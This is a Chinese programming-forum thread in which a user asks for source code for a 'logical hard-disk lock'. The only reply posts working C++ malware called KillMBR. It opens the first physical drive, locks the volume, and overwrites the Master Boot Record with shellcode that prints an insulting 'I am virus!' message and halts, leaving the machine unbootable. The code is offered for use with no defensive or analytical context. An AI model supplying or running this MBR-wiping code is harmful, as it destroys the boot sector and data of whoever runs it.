技术宅的结界

 找回密码
 立即注册→加入我们

QQ登录

只需一步,快速开始

搜索
热搜: 下载 VB C 实现 编写
查看: 105|回复: 1
收起左侧

求大神给个逻辑硬盘锁的源码!

[复制链接]

1

主题

3

帖子

26

积分

用户组: 初·技术宅

UID
3445
精华
0
威望
0 点
宅币
23 个
贡献
0 次
宅之契约
0 份
在线时间
2 小时
注册时间
2018-2-7
发表于 2018-2-7 21:05:46 | 显示全部楼层 |阅读模式

欢迎访问技术宅的结界,请注册或者登录吧。

您需要 登录 才可以下载或查看,没有帐号?立即注册→加入我们

x
在此先谢谢了!

7

主题

31

帖子

224

积分

用户组: 中·技术宅

UID
3517
精华
0
威望
0 点
宅币
186 个
贡献
7 次
宅之契约
0 份
在线时间
31 小时
注册时间
2018-3-2
发表于 2018-3-3 15:33:25 | 显示全部楼层
本帖最后由 Tao_Lu 于 2018-3-3 15:34 编辑

[C++] 纯文本查看 复制代码
#include 'winioctl.h'
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

int KillMBR()
{
    HANDLE hDevice;
    DWORD dwBytesWritten, dwBytesReturned;
    BYTE pMBR[512] = {0};
 
    // MBR
    memcpy(pMBR, scode, sizeof(scode) - 1);
    pMBR[510] = 0x55;
    pMBR[511] = 0xAA;
 
    hDevice = CreateFile
        (
        "\\\\.\\PHYSICALDRIVE0",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
        );
    if (hDevice == INVALID_HANDLE_VALUE)
        return -1;
    DeviceIoControl
        (
        hDevice, 
        FSCTL_LOCK_VOLUME, 
        NULL, 
        0, 
        NULL, 
        0, 
        &dwBytesReturned, 
        NULL
        );
    // WriteFile
    WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
    DeviceIoControl
        (
        hDevice, 
        FSCTL_UNLOCK_VOLUME, 
        NULL, 
        0, 
        NULL, 
        0, 
        &dwBytesReturned, 
        NULL
        );
    CloseHandle(hDevice);
 
    ExitProcess(-1);
    return 0;
}

本版积分规则

QQ|申请友链|Archiver|手机版|小黑屋|技术宅的结界 ( 滇ICP备16008837号|网站地图

GMT+8, 2018-7-17 00:38 , Processed in 0.070473 second(s), 13 queries , Gzip On, Memcache On.

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表